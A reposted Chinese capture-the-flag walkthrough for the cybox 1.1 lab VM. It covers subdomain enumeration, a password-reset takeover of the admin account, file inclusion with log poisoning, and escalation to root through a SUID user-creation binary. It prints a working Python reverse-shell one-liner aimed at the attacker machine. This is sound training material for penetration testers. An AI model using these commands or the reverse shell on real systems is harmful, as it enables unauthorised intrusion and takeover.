cybox:1.1靶机练习

cybox:1.1靶机练习

网络结构:

环境搭建平台为VMware15,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机组成

靶机ip:192.168.1.141

kali linux ip:192.168.1.137

信息收集:

主机发现:

nmap -sP 192.168.1.0/24

下图中192.168.1.1为VMnet8网卡地址,1.3位网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.141

cybox:1.1靶机练习

端口服务扫描:

cybox:1.1靶机练习

靶机开启了80和443端口,访问一下看看

直接访问ip后是一个web页面

cybox:1.1靶机练习

拖到页面最下方可以看到一个域名

cybox:1.1靶机练习

爆破目录:

爆破一下目录

dirb "http://192.168.1.141" /usr/share/dirb/wordlists/big.txt

cybox:1.1靶机练习

同时也使用dirbuster爆破一下详细页面,以取得更多的信息

cybox:1.1靶机练习

依次访问dirb爆出的目录,发现assets目录下存放了些css、js文件

cybox:1.1靶机练习

/cgi/bin目录无访问权限,/phpadmin目录只允许本地访问

dirbuster爆破结果也出来了,与dirb扫出的结果相差不大,此时并没有发现到什么有价值的页面。

cybox:1.1靶机练习

此时我们甚至都没有找到真正提供服务的web页面,我们扫描端口时可以看到目标机器开放了ftp服务,还开放了pop3、imap,还提供邮件服务,很明显目标机器有一个较复杂的网站提供服务,但我们的扫描结果并不相符,说明爆破姿势不对

之前访问首页的时候看到了一个域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下

vim /etc/hosts

cybox:1.1靶机练习

这次我们使用gobuster进行扫描,gobuster是一款基于go语言的目录/文件和DNS爆破工具,可以对目录、文件、DNS和VHost等对象进行暴力破解攻击,下载链接https://github.com/OJ/gobuster,kali下可以直接apt-get install gobuster进行安装

扫描后,可以看到,有了我们之前并未爆破出的页面

gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

cybox:1.1靶机练习

依次访问各页面

dev.cybox.company是一个PHPinfo

cybox:1.1靶机练习

ftp.cybox.company是一个ftp页面,目测实现文件传输功能,需要验证用户名密码

cybox:1.1靶机练习

webmail.cybox.company是一个邮箱登录页面

cybox:1.1靶机练习

register.cybox.company是一个创建用户页面,尝试创建后直接显示创建成功,也并没有提示输入密码等信息,直接给了一个与用户名相同的密码,暂时不知道是创建了什么用户

cybox:1.1靶机练习

monitor.cybox.company访问后跳转到一个登录页面,下面两个链接可以跳转到一个注册页面,以及一个密码找回

cybox:1.1靶机练习

漏洞挖掘:

在上面这个页面,注册一个用户登录试一下

cybox:1.1靶机练习

登录后发现并没有什么实际功能,只有一个创建条目记录时间的,不知道有什么作用

cybox:1.1靶机练习

这里退出登录,试一下未注册用户,发现不存在的用户登录会直接提示用户不存在,这里可以试一下有无admin用户

cybox:1.1靶机练习

尝试猜解管理员的用户名,因为登录页面提供密码修改,可以试试能不能越权修改密码,此处发现存在一个[email protected],显示密码错误,并没有显示用户不存在,先记下,一会看看能不能改

cybox:1.1靶机练习

点击忘记密码,会跳转到一个发送链接的页面,这里是将修改链接发送到邮箱了,应该就是我们刚刚看到的那个邮箱的登录界面

cybox:1.1靶机练习

到邮箱登录页面webmail,登录,发现无法登录,一直显示密码用户名不匹配,说明两边的用户不互通,但我们这时还有一个之前的register.cybox.company/目录,用它创建一个同名用户aaa

cybox:1.1靶机练习

之后再到webmail登录,登录成功,可以看到我们之前接收到的修改密码的邮件,里面有个修改链接

cybox:1.1靶机练习

点进去,跳转到一个修改密码页面,我们用burp抓下包,把邮箱改成admin的,看看能不能通过改包来越权修改admin用户的密码

cybox:1.1靶机练习cybox:1.1靶机练习

点击放包,直接跳转回了登录页面,尝试登录admin用户,登录成功,看来并没有什么验证

cybox:1.1靶机练习cybox:1.1靶机练习

点进Admin panel,看一下管理页面,结果,显示开发中

cybox:1.1靶机练习

方法总比困难多,右键查看页面代码,可以看到,这里包含进来一个php页面

cybox:1.1靶机练习

我们可以尝试文件包含,包含一个/etc/passwd文件测试一下,包含成功,此处存在文件包含漏洞

cybox:1.1靶机练习

然后可以通过日志文件反弹一个shellapache的日志目录为/opt/bitnami/apache2/logs/,请求日志文件为access_log,错误日志文件为error_log,我们包含请求日志看一下,可以看到,这是ftp页面的请求日志

cybox:1.1靶机练习

我们转到ftp页面

cybox:1.1靶机练习

打开burp抓包,刷新页面,拦一个包下来,User-Agent改成cmd命令的php代码


cybox:1.1靶机练习

发包,然后测试一下,测试成功,没有问题

cybox:1.1靶机练习

制作反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.137',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

cybox:1.1靶机练习

kali端监听443端口(这里选取443是因为经测试此靶机只允许通往部分端口的数据包进出)

cybox:1.1靶机练习

监听好端口后,web页面敲击回车,成功反弹shell,拿到了一个低权限的shell

cybox:1.1靶机练习

权限提升:

首先查找有s权限的文件,只看非系统文件,此处需要审计代码,可以看到,在/opt目录下有一个registerlauncher

cybox:1.1靶机练习

在我们查看此文件内容时可以发现它调用了另一个/opt目录下的文件register,注意此处直接用cat查看文件会乱码,需要用strings转化字符串

strings registerlauncher

cybox:1.1靶机练习

在查看register文件内容,发现这是一个可以创建用户的文件

cybox:1.1靶机练习

实际就是实现了那个register页面的功能,测试之前创建的aaa用户,此处可以登录

首先取得一个交互shell

python -c "import pty;pty.spawn('/bin/bash');"

然后尝试登录aaa,成功

cybox:1.1靶机练习

试一下能不能切换root,失败,提示我们aaa不再sudoers文件中

cybox:1.1靶机练习

另外此处我们无权限查看sudoers文件,但应该是有用户持有切换权限的,这里就需要试了,本来想写一个简单的小脚本来代替人工的,但考虑到我们还要在register页面创建新用户,自动化也没有什么太大的意义,所幸并不难猜,用户名起为sudo即可

cybox:1.1靶机练习

创建完之后切换用户sudo,与之前一样,密码和用户名一致,即可切换root用户,至此提权完毕

cybox:1.1靶机练习

在root的家目录下可以看到一个root.txt,查看一下,是个flag

cybox:1.1靶机练习

相关推荐: SQL注入漏洞详解

简介 SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的…

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/articles/web/6235.html

发表评论

邮箱地址不会被公开。 必填项已用*标注